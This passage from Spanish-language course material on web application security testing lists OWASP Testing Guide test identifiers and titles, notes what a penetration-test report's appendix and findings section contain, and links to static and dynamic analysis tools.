Configuración de
OTG-CONFIG-002 plataforma de aplicación
de prueba
Manejo de Extensiones de
OTG-CONFIG-003 Archivo de Prueba para
Información Sensible
Archivos de respaldo y no
OTG-CONFIG-004 referenciados para
información sensible
Enumerar interfaces de
administración de
OTG-CONFIG-005
aplicaciones y de
infraestructura
OTG-CONFIG-006 Prueba de métodos HTTP
Pruebe la seguridad de
OTG-CONFIG-007 transporte estricta de
HTTP
Probar la política de
OTG-CONFIG-008
dominios cruzados de RIA
Pruebas de gestión de identidad
Definiciones de roles de
OTG-IDENT-001
prueba
Proceso de registro de
OTG-IDENT-002
usuario de prueba
Proceso de provisión de
OTG-IDENT-003
cuentas de prueba
Prueba de enumeración de
OTG-IDENT-004 cuenta y cuenta de usuario
predecible
Prueba de directiva de
OTG-IDENT-005 nombre de usuario débil o
no ejecutada
Probar Permisos de
OTG-IDENT-006 Invitado / Cuentas de
Entrenamiento
Proceso de suspensión /
OTG-IDENT-007 reanudación de la cuenta
de prueba
Pruebas de autenticación
Prueba de credenciales
OTG-AUTHN-001 transportadas a través de
un canal encriptado
Prueba de credenciales
OTG-AUTHN-002
predeterminadas
Prueba de mecanismo de
OTG-AUTHN-003
bloqueo débil
Prueba para eludir el
OTG-AUTHN-004
esquema de autenticación
Prueba recordar la
OTG-AUTHN-005 funcionalidad de la
contraseña
Probando la debilidad del
OTG-AUTHN-006
caché del navegador
Prueba de política de
OTG-AUTHN-007
contraseñas débiles
Prueba de pregunta /
OTG-AUTHN-008 respuesta de seguridad
débil
Prueba de cambio de
OTG-AUTHN-009 contraseña débil o reinicio
de funcionalidades
Prueba de autenticación
OTG-AUTHN-010 más débil en un canal
alternativo
Prueba de autorización
El recorrido y el archivo del
OTG-AUTHZ-001 directorio de prueba
incluyen
Prueba para eludir el
OTG-AUTHZ-002
esquema de autorización
Pruebas para escalada de
OTG-AUTHZ-003
privilegios
Prueba de referencias
OTG-AUTHZ-004 inseguras de objetos
directos
Prueba de gestión de sesión
Prueba para omitir el
OTG-SESS-001 esquema de
administración de sesiones
Prueba de atributos de
OTG-SESS-002
cookies
Prueba de vulnerabilidades
OTG-INPVAL-016
incubadas
Prueba de división /
OTG-INPVAL-017
contrabando HTTP
Manejo de errores
Análisis de códigos de
OTG-ERR-001
error
OTG-ERR-002 Análisis de Stack Traces
Criptografía
Prueba de cifrado
SSL/TSL débil, protección
OTG-CRYPST-001
insuficiente de la capa de
transporte
OTG-CRYPST-002 Prueba de Padding Oracle
Prueba de información
confidencial enviada a
OTG-CRYPST-003
través de canales no
encriptados
Pruebas de lógica de negocios
Prueba de validación de
OTG-BUSLOGIC-001 datos de lógica de
negocios
Capacidad de prueba para
OTG-BUSLOGIC-002
forjar solicitudes
Prueba de verificaciones
OTG-BUSLOGIC-003
de integridad
Prueba de sincronización
OTG-BUSLOGIC-004
del proceso
Número de prueba de
OTG-BUSLOGIC-005 veces que se puede usar
una función Límites
Pruebas para la elusión de
OTG-BUSLOGIC-006
los flujos de trabajo
Probar defensas contra el
OTG-BUSLOGIC-007 uso incorrecto de la
aplicación
Carga de prueba de tipos
OTG-BUSLOGIC-008
de archivos inesperados
Carga de prueba de
OTG-BUSLOGIC-009
archivos maliciosos
Prueba del lado del cliente
Prueba de secuencias de
OTG-CLIENT-001 comandos basadas en
DOM.
Prueba de ejecución de
OTG-CLIENT-002
JavaScript
Pruebas para inyección de
OTG-CLIENT-003
HTML
Prueba de redirección de
OTG-CLIENT-004
URL del lado del cliente
Prueba de inyección de
OTG-CLIENT-005
CSS
Prueba de manipulación
OTG-CLIENT-006 de recursos del lado del
cliente
Prueba Cross Origin
OTG-CLIENT-007
Resource Sharing
Prueba de parpadeo entre
OTG-CLIENT-008
sitios
Apéndice
Esta sección se usa a menudo para describir las herramientas comerciales y de código
abierto que se utilizaron para realizar la evaluación. Cuando se utilizan scripts o códigos
personalizados durante la evaluación, debe divulgarse en esta sección o anotarse como
datos adjuntos. Los clientes aprecian cuando se incluye la metodología utilizada por los
consultores. Les da una idea de la minuciosidad de la evaluación y qué áreas se incluyeron.
Resumen
1. El análisis estático de software es un tipo de análisis que se realiza sin ejecutar el
programa. En la mayoría de los casos, el análisis se realiza en alguna versión del
código fuente y en otros casos se realiza en el código objeto.
6. La última sección del informe incluye información técnica detallada sobre las
vulnerabilidades encontradas y las acciones necesarias para resolverlas. Esta
sección está dirigida a un nivel técnico y debe incluir toda la información necesaria
para que los equipos técnicos comprendan el problema y lo resuelvan. Cada
hallazgo debe ser claro y conciso y brindar al lector del informe una comprensión
completa del tema en cuestión.
Pueden revisar los siguientes enlaces para ampliar los conceptos vistos en esta unidad:
o https://es.wikipedia.org/wiki/An%C3%A1lisis_est%C3%A1tico_de_software
o http://slideplayer.es/slide/312257/
o http://enrikusblog.com/sonarqube-instalacion-y-configuracion/
o https://software.microfocus.com/en-us/products/webinspect-dynamic-analysis-
dast/overview
o https://www.acunetix.com/support/docs/wvs/scanning-website/
o https://www.owasp.org/index.php/Reporting
o https://www.acunetix.com/support/docs/wvs/generating-reports/
Herramientas para análisis estático de seguridad: estado del arte - ppt descargar.
(2018). Slideplayer.es. Obtenido de http://slideplayer.es/slide/312257/